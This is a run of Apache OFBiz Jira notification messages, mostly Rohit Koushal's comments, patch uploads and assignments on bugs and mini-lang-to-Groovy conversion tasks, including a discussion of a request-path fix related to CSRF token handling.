[ https://issues.apache.org/jira/browse/OFBIZ-11928?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17182462#comment-17182462 ] Rohit Koushal commented on OFBIZ-11928: --- [~ankush.upadhyay] - Your #1 solution sounds good to me. I was also thinking, does same is also happening for the promotion adjustment. I mean if that code block is clear cart's ship info, so promotion adjustment also mostly like to be removed with tax adjustments. > Explode items not handling tax and adjustments properly > --- > > Key: OFBIZ-11928 > URL: https://issues.apache.org/jira/browse/OFBIZ-11928 > Project: OFBiz > Issue Type: Bug > Components: order >Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk >Reporter: Suraj Khurana >Assignee: Pradeep Choudhary >Priority: Major > Attachments: image-2020-08-22-14-54-06-042.png > > > Steps to re-generate: > 1) Create order with 4 qty of purple Gizmo and 3 qty of GZ-1000 - Tiny Gizmo > 2) Now change explode item to Y > 3) Again create same order with same products and same quantity > 4) Notice difference in item subtotal and grand total > I see two issues here: > - item subtotal is 191.93 and 191.94, this should be addressed 191.94 is > correct when explode is set to N (default order) > Code reference: It should be handled inside ShoppingCartItem.java#explodeItem > - Total sales tax is different in both orders: > 10.72 and -0.03 which can be checked if this is any configuration issue, or > taxes are not being handled while exploding items. > Demo orders on trunk (will not last for long): > explode: N > > [https://demo-trunk.ofbiz.apache.org/ordermgr/control/orderview?orderId=WSCO10001 > ]explode: Y > > [https://demo-trunk.ofbiz.apache.org/ordermgr/control/orderview?orderId=WSCO1] -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-8376) IncomeStatementListPdf.pdf fails
[ https://issues.apache.org/jira/browse/OFBIZ-8376?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17182460#comment-17182460 ] Rohit Koushal commented on OFBIZ-8376: -- Thanks [~lalit.dashora], Can you please check and confirm that the reported problem does not exist prior to [r1753886|http://svn.apache.org/viewvc?view=revision&revision=r1753886] and If report rendering properly means that it is also suffering due to birt jar upgradation. > IncomeStatementListPdf.pdf fails > > > Key: OFBIZ-8376 > URL: https://issues.apache.org/jira/browse/OFBIZ-8376 > Project: OFBiz > Issue Type: Bug > Components: accounting >Affects Versions: Trunk >Reporter: Jacques Le Roux >Priority: Minor > > For > https://localhost:8443/accounting/control/IncomeStatement?organizationPartyId=Company > the PDF report at > https://localhost:8443/accounting/control/IncomeStatementListPdf.pdf fails -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-6638) TrialBalance PDF export fails
[ https://issues.apache.org/jira/browse/OFBIZ-6638?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17182459#comment-17182459 ] Rohit Koushal commented on OFBIZ-6638: -- [~jleroux]: Basically that updated jar is not compatible with the current implementation. Either we need to move back to old jar version or we need to update current code. :) > TrialBalance PDF export fails > - > > Key: OFBIZ-6638 > URL: https://issues.apache.org/jira/browse/OFBIZ-6638 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Release Branch 16.11, Release Branch 18.12, Release > Branch 17.12, Trunk >Reporter: Jacques Le Roux >Assignee: Jacques Le Roux >Priority: Major > Fix For: 14.12.01, 15.12.01 > > Attachments: OFBIZ-6638.patch, image-2019-01-12-14-53-56-292.png > > > # Get to > http://demo-trunk.ofbiz.apache.org/accounting/control/TrialBalance?organizationPartyId=Company > #pick a "Custom Time Period Id" (default works also) > #Submit > Then the CSV export works but not the PDF, this in trunk demo. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Comment Edited] (OFBIZ-6638) TrialBalance PDF export fails
[ https://issues.apache.org/jira/browse/OFBIZ-6638?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17182459#comment-17182459 ] Rohit Koushal edited comment on OFBIZ-6638 at 8/22/20, 5:23 PM: [~jleroux]: Basically new updated jar is not compatible with the current implementation. Either we need to move back to old jar version or we need to update current code. :) was (Author: rohit.koushal): [~jleroux]: Basically that updated jar is not compatible with the current implementation. Either we need to move back to old jar version or we need to update current code. :) > TrialBalance PDF export fails > - > > Key: OFBIZ-6638 > URL: https://issues.apache.org/jira/browse/OFBIZ-6638 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Release Branch 16.11, Release Branch 18.12, Release > Branch 17.12, Trunk >Reporter: Jacques Le Roux >Assignee: Jacques Le Roux >Priority: Major > Fix For: 14.12.01, 15.12.01 > > Attachments: OFBIZ-6638.patch, image-2019-01-12-14-53-56-292.png > > > # Get to > http://demo-trunk.ofbiz.apache.org/accounting/control/TrialBalance?organizationPartyId=Company > #pick a "Custom Time Period Id" (default works also) > #Submit > Then the CSV export works but not the PDF, this in trunk demo. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-11919) Convert SystemInfoServices.xml mini lang to groovy
[ https://issues.apache.org/jira/browse/OFBIZ-11919?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17182428#comment-17182428 ] Rohit Koushal commented on OFBIZ-11919: --- Attaching patch [^OFBIZ-11919.patch] which contains conversion of SystemInfoServices.xml mini lang to DSL groovy. > Convert SystemInfoServices.xml mini lang to groovy > -- > > Key: OFBIZ-11919 > URL: https://issues.apache.org/jira/browse/OFBIZ-11919 > Project: OFBiz > Issue Type: Sub-task > Components: commonext >Reporter: Rohit Koushal >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-11919.patch > > -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Updated] (OFBIZ-11919) Convert SystemInfoServices.xml mini lang to groovy
[ https://issues.apache.org/jira/browse/OFBIZ-11919?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-11919: -- Attachment: OFBIZ-11919.patch > Convert SystemInfoServices.xml mini lang to groovy > -- > > Key: OFBIZ-11919 > URL: https://issues.apache.org/jira/browse/OFBIZ-11919 > Project: OFBiz > Issue Type: Sub-task > Components: commonext >Reporter: Rohit Koushal >Assignee: Rohit Koushal >Priority: Major > Attachments: OFBIZ-11919.patch > > -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Assigned] (OFBIZ-10386) Empty field is reflecting on Contact list section on Profile Page
[ https://issues.apache.org/jira/browse/OFBIZ-10386?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal reassigned OFBIZ-10386: - Assignee: (was: Deepak Nigam) > Empty field is reflecting on Contact list section on Profile Page > - > > Key: OFBIZ-10386 > URL: https://issues.apache.org/jira/browse/OFBIZ-10386 > Project: OFBiz > Issue Type: Bug > Environment: https://demo-trunk.ofbiz.apache.org/ecomseo/viewprofile >Reporter: Archana Asthana >Priority: Major > Attachments: EmptyFields.png > > > Steps to generate: > Open https://demo-trunk.ofbiz.apache.org/ecomseo/viewprofile > On the profile page, Go down to Contact list > Empty fields are displaying before Verify Subscription button > Expected: The field should have some specifications to be filled up > Image is attached for reference -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Assigned] (OFBIZ-11923) Convert SetupEvents.xml mini lang to groovy
[ https://issues.apache.org/jira/browse/OFBIZ-11923?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal reassigned OFBIZ-11923: - Assignee: Rohit Koushal > Convert SetupEvents.xml mini lang to groovy > --- > > Key: OFBIZ-11923 > URL: https://issues.apache.org/jira/browse/OFBIZ-11923 > Project: OFBiz > Issue Type: Sub-task >Reporter: Rohit Koushal >Assignee: Rohit Koushal >Priority: Major > -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Created] (OFBIZ-11923) Convert SetupEvents.xml mini lang to groovy
Rohit Koushal created OFBIZ-11923: - Summary: Convert SetupEvents.xml mini lang to groovy Key: OFBIZ-11923 URL: https://issues.apache.org/jira/browse/OFBIZ-11923 Project: OFBiz Issue Type: Sub-task Reporter: Rohit Koushal -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Created] (OFBIZ-11919) Convert SystemInfoServices.xml mini lang to groovy
Rohit Koushal created OFBIZ-11919: - Summary: Convert SystemInfoServices.xml mini lang to groovy Key: OFBIZ-11919 URL: https://issues.apache.org/jira/browse/OFBIZ-11919 Project: OFBiz Issue Type: Sub-task Components: commonext Reporter: Rohit Koushal Assignee: Rohit Koushal -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-11500) Convert createMatchingPaymentApplication service from mini-lang to groovy DSL
[ https://issues.apache.org/jira/browse/OFBIZ-11500?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17164884#comment-17164884 ] Rohit Koushal commented on OFBIZ-11500: --- Here is the patch in which createMatchingPaymentApplication minilang service is converted into its respective groovy logic. [^OFBIZ-11500.patch] > Convert createMatchingPaymentApplication service from mini-lang to groovy DSL > - > > Key: OFBIZ-11500 > URL: https://issues.apache.org/jira/browse/OFBIZ-11500 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Trunk >Reporter: Devanshu Vyas >Assignee: Rohit Koushal >Priority: Minor > Attachments: OFBIZ-11500.patch > > > Convert the createMatchingPaymentApplication service code from mini-lang to > groovy DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Updated] (OFBIZ-11500) Convert createMatchingPaymentApplication service from mini-lang to groovy DSL
[ https://issues.apache.org/jira/browse/OFBIZ-11500?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-11500: -- Attachment: OFBIZ-11500.patch > Convert createMatchingPaymentApplication service from mini-lang to groovy DSL > - > > Key: OFBIZ-11500 > URL: https://issues.apache.org/jira/browse/OFBIZ-11500 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Trunk >Reporter: Devanshu Vyas >Assignee: Rohit Koushal >Priority: Minor > Attachments: OFBIZ-11500.patch > > > Convert the createMatchingPaymentApplication service code from mini-lang to > groovy DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-11483) Convert quickSendPayment service from mini-lang to groovy DSL
[ https://issues.apache.org/jira/browse/OFBIZ-11483?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17149326#comment-17149326 ] Rohit Koushal commented on OFBIZ-11483: --- Thanks [~jleroux] > Convert quickSendPayment service from mini-lang to groovy DSL > - > > Key: OFBIZ-11483 > URL: https://issues.apache.org/jira/browse/OFBIZ-11483 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Trunk >Reporter: Devanshu Vyas >Assignee: Rohit Koushal >Priority: Minor > Fix For: Upcoming Branch > > Attachments: OFBIZ-11483.patch > > > Convert the quickSendPayment service code from mini-lang to groovy DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Assigned] (OFBIZ-11500) Convert createMatchingPaymentApplication service from mini-lang to groovy DSL
[ https://issues.apache.org/jira/browse/OFBIZ-11500?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal reassigned OFBIZ-11500: - Assignee: Rohit Koushal (was: Devanshu Vyas) > Convert createMatchingPaymentApplication service from mini-lang to groovy DSL > - > > Key: OFBIZ-11500 > URL: https://issues.apache.org/jira/browse/OFBIZ-11500 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Trunk >Reporter: Devanshu Vyas >Assignee: Rohit Koushal >Priority: Minor > > Convert the createMatchingPaymentApplication service code from mini-lang to > groovy DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Comment Edited] (OFBIZ-11483) Convert quickSendPayment service from mini-lang to groovy DSL
[ https://issues.apache.org/jira/browse/OFBIZ-11483?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17146862#comment-17146862 ] Rohit Koushal edited comment on OFBIZ-11483 at 6/27/20, 9:56 AM: - Attaching the patch having quickSendPayment mini-lang to groovy DSL conversion was (Author: rohit.koushal): Attaching the patch having quickSendPayment mini-lang to groovy DSL conversion. * [|https://issues.apache.org/jira/secure/AddComment!default.jspa?id=13294604] > Convert quickSendPayment service from mini-lang to groovy DSL > - > > Key: OFBIZ-11483 > URL: https://issues.apache.org/jira/browse/OFBIZ-11483 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Trunk >Reporter: Devanshu Vyas >Assignee: Rohit Koushal >Priority: Minor > Attachments: OFBIZ-11483.patch > > > Convert the quickSendPayment service code from mini-lang to groovy DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-11483) Convert quickSendPayment service from mini-lang to groovy DSL
[ https://issues.apache.org/jira/browse/OFBIZ-11483?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17146862#comment-17146862 ] Rohit Koushal commented on OFBIZ-11483: --- Attaching the patch having quickSendPayment mini-lang to groovy DSL conversion. * [|https://issues.apache.org/jira/secure/AddComment!default.jspa?id=13294604] > Convert quickSendPayment service from mini-lang to groovy DSL > - > > Key: OFBIZ-11483 > URL: https://issues.apache.org/jira/browse/OFBIZ-11483 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Trunk >Reporter: Devanshu Vyas >Assignee: Rohit Koushal >Priority: Minor > Attachments: OFBIZ-11483.patch > > > Convert the quickSendPayment service code from mini-lang to groovy DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Updated] (OFBIZ-11483) Convert quickSendPayment service from mini-lang to groovy DSL
[ https://issues.apache.org/jira/browse/OFBIZ-11483?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-11483: -- Attachment: OFBIZ-11483.patch > Convert quickSendPayment service from mini-lang to groovy DSL > - > > Key: OFBIZ-11483 > URL: https://issues.apache.org/jira/browse/OFBIZ-11483 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Trunk >Reporter: Devanshu Vyas >Assignee: Rohit Koushal >Priority: Minor > Attachments: OFBIZ-11483.patch > > > Convert the quickSendPayment service code from mini-lang to groovy DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Assigned] (OFBIZ-11483) Convert quickSendPayment service from mini-lang to groovy DSL
[ https://issues.apache.org/jira/browse/OFBIZ-11483?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal reassigned OFBIZ-11483: - Assignee: Rohit Koushal (was: Devanshu Vyas) > Convert quickSendPayment service from mini-lang to groovy DSL > - > > Key: OFBIZ-11483 > URL: https://issues.apache.org/jira/browse/OFBIZ-11483 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Trunk >Reporter: Devanshu Vyas >Assignee: Rohit Koushal >Priority: Minor > > Convert the quickSendPayment service code from mini-lang to groovy DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Updated] (OFBIZ-11484) Convert createPaymentAndApplication service from mini-lang to groovy DSL
[ https://issues.apache.org/jira/browse/OFBIZ-11484?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-11484: -- Attachment: OFBIZ-11484.patch > Convert createPaymentAndApplication service from mini-lang to groovy DSL > > > Key: OFBIZ-11484 > URL: https://issues.apache.org/jira/browse/OFBIZ-11484 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Trunk >Reporter: Devanshu Vyas >Assignee: Rohit Koushal >Priority: Minor > Attachments: OFBIZ-11484.patch > > > Convert the createPaymentAndApplication service code from mini-lang to groovy > DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-11484) Convert createPaymentAndApplication service from mini-lang to groovy DSL
[ https://issues.apache.org/jira/browse/OFBIZ-11484?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17146842#comment-17146842 ] Rohit Koushal commented on OFBIZ-11484: --- Attaching the patch having createPaymentAndApplication mini-lang to groovy DSL conversion. > Convert createPaymentAndApplication service from mini-lang to groovy DSL > > > Key: OFBIZ-11484 > URL: https://issues.apache.org/jira/browse/OFBIZ-11484 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Trunk >Reporter: Devanshu Vyas >Assignee: Rohit Koushal >Priority: Minor > Attachments: OFBIZ-11484.patch > > > Convert the createPaymentAndApplication service code from mini-lang to groovy > DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Assigned] (OFBIZ-11484) Convert createPaymentAndApplication service from mini-lang to groovy DSL
[ https://issues.apache.org/jira/browse/OFBIZ-11484?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal reassigned OFBIZ-11484: - Assignee: Rohit Koushal (was: Devanshu Vyas) > Convert createPaymentAndApplication service from mini-lang to groovy DSL > > > Key: OFBIZ-11484 > URL: https://issues.apache.org/jira/browse/OFBIZ-11484 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Trunk >Reporter: Devanshu Vyas >Assignee: Rohit Koushal >Priority: Minor > > Convert the createPaymentAndApplication service code from mini-lang to groovy > DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-11593) "entity/list" request is not handled well
[
https://issues.apache.org/jira/browse/OFBIZ-11593?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17095593#comment-17095593
]
Rohit Koushal commented on OFBIZ-11593:
---
Thanks [~jleroux] :)
> "entity/list" request is not handled well
> -
>
> Key: OFBIZ-11593
> URL: https://issues.apache.org/jira/browse/OFBIZ-11593
> Project: OFBiz
> Issue Type: Bug
> Components: framework/webtools
>Affects Versions: Trunk
>Reporter: Jacques Le Roux
>Assignee: Jacques Le Roux
>Priority: Major
> Fix For: Upcoming Branch
>
> Attachments: image-2020-04-28-14-22-36-940.png
>
>
> The "entity/list" request has been put in with OFBIZ-11007. It's used to call
> the entitymaint view and so is a demo/didactic duplicate of entitymaint
> request. It's only used in FindGeneric screen (look for the
> WebtoolsBackToEntityList label). It's problematic because since the CSRF
> token defense was put in you can no longer filter the entities from the
> entities list screen, even when the default NoCsrfDefenseStrategy is used. It
> works if you use the entitymaint request instead.
> Anyway, 2020-01-19 I proposed in OFBIZ-11306 a solution for such cases. It
> was not used because 2020-02-14 I thought it was no longer needed, but it's
> necessary for this case, and maybe others not already detected:
> {code:java}
> if (pathInfo.get(0).indexOf('?') > -1) {
> return pathInfo.get(0).substring(0,
> pathInfo.get(0).indexOf('?'));
> } else {
> -return pathInfo.get(0);
> +if (1 < StringUtils.countMatches(path, "/")) {
> +return pathInfo.get(0) + "/" + pathInfo.get(1);
> +} else {
> +return pathInfo.get(0);
> +}
> {code}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
[jira] [Comment Edited] (OFBIZ-11593) "entity/list" request is not handled well
[
https://issues.apache.org/jira/browse/OFBIZ-11593?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17094307#comment-17094307
]
Rohit Koushal edited comment on OFBIZ-11593 at 4/28/20, 10:17 AM:
--
Hey [~jleroux],
Commit e4871226249b7c5dcb51931b81bf5cdb79d7810f breaks the some functionality
like adding address/update address during Quick Finalize Order. Might be there
are some other requests as well which too call in same manner.
!image-2020-04-28-14-22-36-940.png!
was (Author: rohit.koushal):
Hey [~jleroux],
Commit e4871226249b7c5dcb51931b81bf5cdb79d7810f breaks the some functionilty
like adding address/update address during Quick Finalize Order. Might be there
are some order request as well which too call in same manner.
!image-2020-04-28-14-22-36-940.png!
> "entity/list" request is not handled well
> -
>
> Key: OFBIZ-11593
> URL: https://issues.apache.org/jira/browse/OFBIZ-11593
> Project: OFBiz
> Issue Type: Bug
> Components: framework/webtools
>Affects Versions: Trunk
>Reporter: Jacques Le Roux
>Assignee: Jacques Le Roux
>Priority: Major
> Fix For: Upcoming Branch
>
> Attachments: image-2020-04-28-14-22-36-940.png
>
>
> The "entity/list" request has been put in with OFBIZ-11007. It's used to call
> the entitymaint view and so is a demo/didactic duplicate of entitymaint
> request. It's only used in FindGeneric screen (look for the
> WebtoolsBackToEntityList label). It's problematic because since the CSRF
> token defense was put in you can no longer filter the entities from the
> entities list screen, even when the default NoCsrfDefenseStrategy is used. It
> works if you use the entitymaint request instead.
> Anyway, 2020-01-19 I proposed in OFBIZ-11306 a solution for such cases. It
> was not used because 2020-02-14 I thought it was no longer needed, but it's
> necessary for this case, and maybe others not already detected:
> {code:java}
> if (pathInfo.get(0).indexOf('?') > -1) {
> return pathInfo.get(0).substring(0,
> pathInfo.get(0).indexOf('?'));
> } else {
> -return pathInfo.get(0);
> +if (1 < StringUtils.countMatches(path, "/")) {
> +return pathInfo.get(0) + "/" + pathInfo.get(1);
> +} else {
> +return pathInfo.get(0);
> +}
> {code}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
[jira] [Commented] (OFBIZ-11361) Convert PartyServices.xml mini-lang to groovyDSL
[ https://issues.apache.org/jira/browse/OFBIZ-11361?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17094337#comment-17094337 ] Rohit Koushal commented on OFBIZ-11361: --- Thanks [~pawan]. > Convert PartyServices.xml mini-lang to groovyDSL > > > Key: OFBIZ-11361 > URL: https://issues.apache.org/jira/browse/OFBIZ-11361 > Project: OFBiz > Issue Type: Sub-task > Components: party >Affects Versions: Trunk >Reporter: Nicolas Malin >Assignee: Nicolas Malin >Priority: Minor > Labels: groovy, mini-lang > Fix For: Upcoming Branch > > Attachments: OFBIZ-11361.patch > > > Migration of file PartyServices.xml to groovy > h4. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-11361) Convert PartyServices.xml mini-lang to groovyDSL
[ https://issues.apache.org/jira/browse/OFBIZ-11361?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17094320#comment-17094320 ] Rohit Koushal commented on OFBIZ-11361: --- For service "getRelatedParties", definition looks duplicate to me(one is having engine type as *simple* and other has *groovy*) in File applications/party/servicedef/services_view.xml. Can we remove it ? > Convert PartyServices.xml mini-lang to groovyDSL > > > Key: OFBIZ-11361 > URL: https://issues.apache.org/jira/browse/OFBIZ-11361 > Project: OFBiz > Issue Type: Sub-task > Components: party >Affects Versions: Trunk >Reporter: Nicolas Malin >Assignee: Nicolas Malin >Priority: Minor > Labels: groovy, mini-lang > Fix For: Upcoming Branch > > Attachments: OFBIZ-11361.patch > > > Migration of file PartyServices.xml to groovy > h4. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-11593) "entity/list" request is not handled well
[
https://issues.apache.org/jira/browse/OFBIZ-11593?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17094307#comment-17094307
]
Rohit Koushal commented on OFBIZ-11593:
---
Hey [~jleroux],
Commit e4871226249b7c5dcb51931b81bf5cdb79d7810f breaks the some functionilty
like adding address/update address during Quick Finalize Order. Might be there
are some order request as well which too call in same manner.
!image-2020-04-28-14-22-36-940.png!
> "entity/list" request is not handled well
> -
>
> Key: OFBIZ-11593
> URL: https://issues.apache.org/jira/browse/OFBIZ-11593
> Project: OFBiz
> Issue Type: Bug
> Components: framework/webtools
>Affects Versions: Trunk
>Reporter: Jacques Le Roux
>Assignee: Jacques Le Roux
>Priority: Major
> Fix For: Upcoming Branch
>
> Attachments: image-2020-04-28-14-22-36-940.png
>
>
> The "entity/list" request has been put in with OFBIZ-11007. It's used to call
> the entitymaint view and so is a demo/didactic duplicate of entitymaint
> request. It's only used in FindGeneric screen (look for the
> WebtoolsBackToEntityList label). It's problematic because since the CSRF
> token defense was put in you can no longer filter the entities from the
> entities list screen, even when the default NoCsrfDefenseStrategy is used. It
> works if you use the entitymaint request instead.
> Anyway, 2020-01-19 I proposed in OFBIZ-11306 a solution for such cases. It
> was not used because 2020-02-14 I thought it was no longer needed, but it's
> necessary for this case, and maybe others not already detected:
> {code:java}
> if (pathInfo.get(0).indexOf('?') > -1) {
> return pathInfo.get(0).substring(0,
> pathInfo.get(0).indexOf('?'));
> } else {
> -return pathInfo.get(0);
> +if (1 < StringUtils.countMatches(path, "/")) {
> +return pathInfo.get(0) + "/" + pathInfo.get(1);
> +} else {
> +return pathInfo.get(0);
> +}
> {code}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
[jira] [Updated] (OFBIZ-11593) "entity/list" request is not handled well
[
https://issues.apache.org/jira/browse/OFBIZ-11593?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Rohit Koushal updated OFBIZ-11593:
--
Attachment: image-2020-04-28-14-22-36-940.png
> "entity/list" request is not handled well
> -
>
> Key: OFBIZ-11593
> URL: https://issues.apache.org/jira/browse/OFBIZ-11593
> Project: OFBiz
> Issue Type: Bug
> Components: framework/webtools
>Affects Versions: Trunk
>Reporter: Jacques Le Roux
>Assignee: Jacques Le Roux
>Priority: Major
> Fix For: Upcoming Branch
>
> Attachments: image-2020-04-28-14-22-36-940.png
>
>
> The "entity/list" request has been put in with OFBIZ-11007. It's used to call
> the entitymaint view and so is a demo/didactic duplicate of entitymaint
> request. It's only used in FindGeneric screen (look for the
> WebtoolsBackToEntityList label). It's problematic because since the CSRF
> token defense was put in you can no longer filter the entities from the
> entities list screen, even when the default NoCsrfDefenseStrategy is used. It
> works if you use the entitymaint request instead.
> Anyway, 2020-01-19 I proposed in OFBIZ-11306 a solution for such cases. It
> was not used because 2020-02-14 I thought it was no longer needed, but it's
> necessary for this case, and maybe others not already detected:
> {code:java}
> if (pathInfo.get(0).indexOf('?') > -1) {
> return pathInfo.get(0).substring(0,
> pathInfo.get(0).indexOf('?'));
> } else {
> -return pathInfo.get(0);
> +if (1 < StringUtils.countMatches(path, "/")) {
> +return pathInfo.get(0) + "/" + pathInfo.get(1);
> +} else {
> +return pathInfo.get(0);
> +}
> {code}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
[jira] [Commented] (OFBIZ-11443) Convert FixedAssetMaintServices.xml to groovy
[ https://issues.apache.org/jira/browse/OFBIZ-11443?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17092095#comment-17092095 ] Rohit Koushal commented on OFBIZ-11443: --- Here is the patch in which FixedAssetMaintServices minilang is converted into its respective groovy logic. [^OFBIZ-11443.patch] > Convert FixedAssetMaintServices.xml to groovy > - > > Key: OFBIZ-11443 > URL: https://issues.apache.org/jira/browse/OFBIZ-11443 > Project: OFBiz > Issue Type: Sub-task > Components: assetmaint >Affects Versions: Trunk >Reporter: Pierre Smits >Assignee: Rohit Koushal >Priority: Major > Labels: refactoring > Attachments: OFBIZ-11443.patch > > > Convert from mini-lang to groovy DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Updated] (OFBIZ-11443) Convert FixedAssetMaintServices.xml to groovy
[ https://issues.apache.org/jira/browse/OFBIZ-11443?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal updated OFBIZ-11443: -- Attachment: OFBIZ-11443.patch > Convert FixedAssetMaintServices.xml to groovy > - > > Key: OFBIZ-11443 > URL: https://issues.apache.org/jira/browse/OFBIZ-11443 > Project: OFBiz > Issue Type: Sub-task > Components: assetmaint >Affects Versions: Trunk >Reporter: Pierre Smits >Assignee: Rohit Koushal >Priority: Major > Labels: refactoring > Attachments: OFBIZ-11443.patch > > > Convert from mini-lang to groovy DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Assigned] (OFBIZ-11443) Convert FixedAssetMaintServices.xml to groovy
[ https://issues.apache.org/jira/browse/OFBIZ-11443?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Rohit Koushal reassigned OFBIZ-11443: - Assignee: Rohit Koushal > Convert FixedAssetMaintServices.xml to groovy > - > > Key: OFBIZ-11443 > URL: https://issues.apache.org/jira/browse/OFBIZ-11443 > Project: OFBiz > Issue Type: Sub-task > Components: assetmaint >Affects Versions: Trunk >Reporter: Pierre Smits >Assignee: Rohit Koushal >Priority: Major > Labels: refactoring > > Convert from mini-lang to groovy DSL. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-6638) TrialBalance PDF export fails
[ https://issues.apache.org/jira/browse/OFBIZ-6638?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17047254#comment-17047254 ] Rohit Koushal commented on OFBIZ-6638: -- I tried same past week and faced same error, possibly due to that axis-1.4.jar has been moved somewhere esle in the jcenter repository. > TrialBalance PDF export fails > - > > Key: OFBIZ-6638 > URL: https://issues.apache.org/jira/browse/OFBIZ-6638 > Project: OFBiz > Issue Type: Sub-task > Components: accounting >Affects Versions: Release Branch 16.11, Release Branch 18.12, Release > Branch 17.12, Trunk >Reporter: Jacques Le Roux >Assignee: Jacques Le Roux >Priority: Major > Fix For: 14.12.01, 15.12.01 > > Attachments: OFBIZ-6638.patch, image-2019-01-12-14-53-56-292.png > > > # Get to > http://demo-trunk.ofbiz.apache.org/accounting/control/TrialBalance?organizationPartyId=Company > #pick a "Custom Time Period Id" (default works also) > #Submit > Then the CSV export works but not the PDF, this in trunk demo. -- This message was sent by Atlassian Jira (v8.3.4#803005)
[jira] [Commented] (OFBIZ-6638) TrialBalance PDF export fails
